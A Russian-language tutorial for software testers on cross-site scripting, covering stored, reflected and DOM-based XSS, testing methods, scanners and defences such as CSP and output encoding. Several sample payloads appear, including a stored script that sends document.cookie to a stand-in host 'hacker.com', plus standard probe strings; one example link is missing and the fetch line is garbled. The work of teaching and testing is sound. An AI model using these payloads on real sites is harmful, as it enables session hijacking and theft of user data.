Что такое XSS-уязвимость и как тестировщику не пропустить ее

Представьте: пользователь заходит на сайт, а его браузер выполняет вредоносный скрипт, созданный злоумышленником. Сессии доступа похищены, конфиденциальные данные утекают, а репутация компании разрушена.

Это не сценарий фильма, а реальные последствия XSS-уязвимости — одной из самых распространенных угроз веб-безопасности. В этой статье разберем природу межсайтового скриптинга, его разновидности и практические методы обнаружения для тестировщиков.

Что такое XSS-уязвимость

Межсайтовый скриптинг (XSS) — это внедрение вредоносного JavaScript-кода в веб-страницу, который выполняется в браузере жертвы. В отличие от SQL-инъекций, атакующий воздействует не на сервер, а на пользователей приложения.

 Злоумышленники используют XSS для:

• Кражи cookie и сессионных идентификаторов

• Подмены контента (дефейс сайта)

• Перенаправления на фишинговые страницы

• Кейлоггинга (перехвата нажатий клавиш)

Уязвимость возникает, когда приложение без должной проверки вставляет пользовательские данные в HTML, JavaScript или DOM.

Типичные источники риска:

• Поисковые строки

• Формы комментариев

• Параметры URL

• Профили пользователей

Пример из практики: Социальная сеть разрешала загружать SVG-файлы. Злоумышленник встроил в изображение скрипт, похищающий куки при просмотре. Результат — массовая компрометация аккаунтов.

Механизм работы XSS: от ввода до атаки

Рассмотрим классический пример отраженной XSS-уязвимости:

1. Атакующий формирует ссылку с вредоносным скриптом: ;
   

2. Жертва переходит по ссылке (например, из фишинг-письма)

3. Сервер возвращает страницу, где query встраивается в HTML без проверки

4. Браузер исполняет скрипт stealCookies(), отправляя злоумышленнику сессионные куки

Критический момент — отсутствие санации ввода. Приложение доверяет пользовательским данным, позволяя интерпретировать их как код, а не текст.

Виды XSS-уязвимостей и методика атак

Хранимая (Stored XSS)

Вредоносный скрипт сохраняется на сервере и выполняется при каждом открытии страницы.

Угроза: Массовая атака без целевой рассылки.
Пример:

<!-- В поле «Имя» профиля -->
<script>
fetch('https://hacker.com?cookie=&amp;amp;amp;amp;amp;#39;+document.cookie)
</script>

Отраженная (Reflected XSS)

Скрипт встраивается в URL или форму и мгновенно отражается в ответе сервера.

Угроза: Фишинг, целевые атаки через социальную инженерию.
Пример эксплуатации:
Рассылка ссылки: bank.com/transfer?amount=1000&target=<script>exploit()</script>

DOM-based XSS

Уязвимость в клиентском скрипте, изменяющем DOM без проверки данных.

Угроза: Обходит серверные защиты.
Пример:

// Код сайта
document.getElementById("output").innerHTML = new URLSearchParams(window.location.search).get('search');

Атака:
site.com?search=<img src=x onerror=malware()>

Как проверить сайт на XSS уязвимости: инструкция для тестировщиков

Методика ручного тестирования

Вставка тегов во все поля ввода:

<script>alert(1)</script>
<img src=x onerror=alert(1)>

Проверка URL-параметров:
Измените ?id=123 на ?id=<svg/onload=confirm(1)>

Анализ ответов: Ищите несанкционированное исполнение кода или отсутствие экранирования.

Автоматизированные инструменты

Сканеры: OWASP ZAP, Burp Suite, Acunetix

Фаззеры: XSStrike, XSSer

Чеклист для IWS VA:

1. Проверить все user-input точки

2. Тестировать разные контексты: HTML, JS, атрибуты

3. Использовать кодировки: %3Cscript%3E, \u003c

Критические точки проверки:

• Формы поиска

• Поля комментариев

• Заголовки страниц

• Перенаправления (redirect?url=javascript:alert())

• Загрузка файлов (SVG, HTML)

Защита от межсайтового скриптинга: 7 ключевых практик

• Контекстно-зависимое кодирование (HTML, JavaScript, URL)

• Библиотеки: OWASP Java Encoder, DOMPurify

Content Security Policy (CSP):
Заголовок, запрещающий исполнение inline-скриптов: Content-Security-Policy: default-src 'self'

Валидация ввода:

• Белые списки разрешенных символов

• Блокировка тегов <script>, on*-атрибутов

Безопасные API:

• Замена innerHTML на textContent в DOM-операциях.

HTTP-флаги:

• HttpOnly для cookies (блокировка доступа через JS)

• SameSite=Lax

Кодирование при загрузке файлов:

• Преобразование SVG/HTML в безопасные форматы.

Регулярный аудит:

•   Статический анализ кода (SAST) и тесты на уязвимость раз в квартал.

Помните: 75% веб-приложений уязвимы к XSS (данные OWASP Top 10). Тестировщик — последний рубеж защиты.

Используйте комбинацию ручных и автоматизированных методов, фокусируясь на точках ввода данных. Проверка на XSS должна стать таким же привычным этапом тестирования, как валидация форм. Внедряйте защиту на уровне дизайна системы — это исключит риски до выпуска продукта.

Остались вопросы? Вы можете задать их нашим специалистам на бесплатной консультации.